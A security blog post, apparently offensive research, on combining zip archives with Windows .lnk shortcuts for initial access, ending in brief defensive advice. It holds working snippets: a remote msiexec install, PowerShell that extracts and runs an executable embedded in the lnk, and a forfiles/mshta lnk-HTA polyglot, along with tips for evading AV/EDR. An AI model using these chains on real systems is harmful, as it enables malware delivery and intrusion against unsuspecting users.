ZipLink - Combine Zips and Lnk for fun and profit
ZipLink - Combine Zips and Lnk for fun and profit
If you look at typical exploit chains by various threat actors, lnk
files still play a huge role.
In this post I will share some possible chains I came up to.
tl;dr
There is some special behaviour when it comes to .zip
archives containing lnk
files.
- Windows will not show the
lnk
Extensions, even ifShow extensions is on
- Temporary opened
zips
will be stored under the user%Temp%
- Lnks can contain more data then the lnk itself
mshta.exe
is very robust about syntax errors and ignores file extensions- LnkHta polyglots are easy to build
So with this parts we can build quite a chain for initial access.
Here is a short Proof-of-Concept, executing an embedded hta payload spawning calc. The vector comes along with only one “Security Warning”, even when SmartScreen is enabled. Furthermore the payload runs without a cmd or powershell process which makes it harder to detect.
Quick Proof-of-Concept for the execution via forfiles and mshta
Introduction
Some time ago, I stumbled about the blogpost from x86matthew
https://www.x86matthew.com/view_post?id=embed_exe_lnk. In this blogpost we learn, how we can simply add some binary to the end of a lnk
file, extract and exdcute it again. As I do not like C
snippets for such “easy” tasks, I wanted it implemented in powershell for easy adjustments.
Around the same time, I read a report about a thread actor, sending zip archeives with lnk
files, because windows handles them a little bit strange.
So why not combine those?
Details
Before we can build the chain, we should talk about some details first.
Hidden extensions
Windows really tries hard to hide the extension of lnk
files (and 15 other file types), as you can see here:
Hidden file extensions even when “Show extensions is enabled”
Some of them are quite dangerous, like lnk, pif, search-ms, url, website
.
- .accountpicture-ms
- .appcontent-ms
- .appref-ms
- .DeskLink
- .library-ms
- .lnk
- .MAPIMail
- .mydocs
- .pif
- .scf
- .searchConnector-ms
- .search-ms
- .settingcontent-ms
- .url
- .website
- .ZFSendToTarget
The Zip file
The Zip file has two interesting behaviours.
The temp folder
First, if you doubleclick a file in a zip it will get partly extracted to a folder under %temp%
with a GUID and the name of the Zip, e.g. C:\Users\Low\AppData\Local\Temp\Tempd363c4a8-ce1c-4023-9bfe-3df889748511_Bill.zip
.
This behaviour is by itself not a big issue, as not all files get extracted automatically. However we gonna use this later.
If you use tools like 7z, the path differs a little, but is still under %temp%
.
No Details shown
Second, if a lnk is in a zip, the windows default GUI offers no way to identify what is going to happen.
No Extension shown and no details on the lnk
A double click however will execute the lnk
and threrefore the commands supplied, without a possibility to check this first.
Of course it would be possible to extract the lnk before and then execute it, but I guess most users will try doubleclicking it first
The extracted lnk looks like this:
In the %TEMP% Folder the lnk looks like this with a clearly visible command line
The necessary
Even as the zip file brings some nice behaviour with it, it is also necessary to use, as modern browser will prevent the download of .lnk
endings. E.g. firefox will add a .download
extension.
The lnk
For the lnk itself there are several options what we can do. Additional to those ways, we can also use the good old whitespace trick to shift the command out of sight for the lnk. Brings a little more obfuscation, but might trigger AV directly.
Direct command execution
The simplest, but also really overused solution is just to add the command executed. So e.g. we can just add a powershell cradle to download and execute a script via Powershell. This is not very opsec.
A little bit better, but still not good would be to call a script interpreter or installer with a remote URL, like mshta.exe
or msiexec.exe
. For the latter one, I already pointed to a nice chain in my last blogpost.
msiexec.exe /i "https://binaries.webex.com/WebexTeamsDesktop-Windows-Gold/Webex.msi" TRANSFORMS="https://raw.githubusercontent.com/PfiatDe/mst/main/web.mst" /qb
Quick Proof-of-Concept for the execution via msiexec
Binary
A second option is the way described by x86matthew, so just add a binary to the lnk file and extract it via a script interpreter, like powershell.
You might end up with something like this:
$payload = "set-variable -name 'path' -value ('c:\tmp\' + (Get-Random) + '.exe');"
$payload += '$file = gc -Encoding Byte -ReadCount 0 "$env:TEMP\*'
$payload += "\$LNKName.lnk`";"
$payload += '$raw = ([byte[]]($file| select -Skip ' + "$Size" + ')); sc $path $raw -Encoding Byte; & $path;'
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$arguments = "-nop -c $payload"
Quick Proof-of-Concept for the execution via forfiles and mshta
Sideloading
If we have some knowledge about software in use, we can just plant some dll for sideloading and then stop execution. We then rely on the software getting startet by the user. This will make it for AV/EDR systems a lot harder to follow the chain and therefore reduce the detection rate.
Break the execution chain
Not executing the payload directly will also decrease the detection rate. I had good results with Scheduled Tasks
in the past. Yeah I know, but “It’s not stupid if it’s working”
Another crazy option is to write another lnk to either the desktop or the legacy IExplorer shortcut path $env:APPDATA\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts
to execute via shortcuts like CTRL+C
. Thanks to @rvrsh3ll for this nice trick.
Binary hijacking
We are not limited to only one file attached to the lnk.
So why not bring in a signed binary like code.exe
and use it as a C2? There are a lot of different ways.
The signature of a code.exe signed by MS after extraction from the containing lnk
HTA Polyglot
We can run mshta.exe
with a remote URL from the lnk. However from my experience this might raise some red flags for AV/EDRs.
So we can also build a LnkHta-Polyglot and then execute the mshta from the lnk on itself.
Sadly, mshta can not handle wildcards by itself, and we do not now the absolute path where our file will land.
So we need something like forfiles
to jump in.
Forfiles has an annoying bug, which comes quite interesting here:
https://ss64.com/nt/forfiles.html
Recent versions of FORFILES contain a bug, in processing command line arguments:
running a /c command that contains an argument such as FORFILES /C "PING -a" will
fail. The expected convention is that argv[0] will contain the program name,
but FORFILES instead passes the first argument as argv[0]. Old versions e.g.
FORFILES version 1.46 (24th March 2006) do not suffer from this bug.
So we can also add a decoy file to mshta. Nice
forfiles.exe /p %Temp% /m Bill.pdf.lnk /s /c "mshta C:\harmless.txt @path"
This will go through all the files under %Temp%
, searching our lnk and then executing mshta.exe
on it.
As mshta.exe
does not care about file ending or snytax errors, we can simply add a hta script to our lnk.
Get-Content -Encoding Byte "calc.hta" -ReadCount 0 | Add-Content -Encoding Byte ".\$LNKName.lnk"
For more complex payloads it is still great to use GadgetToJScript, but keep in mind, that you need to obfuscate the payload to bypass heuristic detection.
A quick PoC:
Quick Proof-of-Concept for the execution via forfiles and mshta
Conclusion
The risk from lnk files is still quite high. If possible it might be a good idea to block the download (Browser, Mails, Messaging) of lnk files. However this of course quite difficult if the files are wrapped in containers or archieves.
At least there should be some logging / monitoring in place and in general lnk files with a size above 1-2kB are quite suspicious. It seems that there is a defender rule in place triggering on files with several MB, but this was not reliable druing my testing.
Links
Some links to the mentioned blogs, tools, pages.
-
Selfcontaining EXE in a LNK https://www.x86matthew.com/view_post?id=embed_exe_lnk
-
Sample powershell script for creating a lnk https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Create-HotKeyLNK.ps1
-
Filetypes without endings https://twitter.com/0gtweet/status/1603542924528164864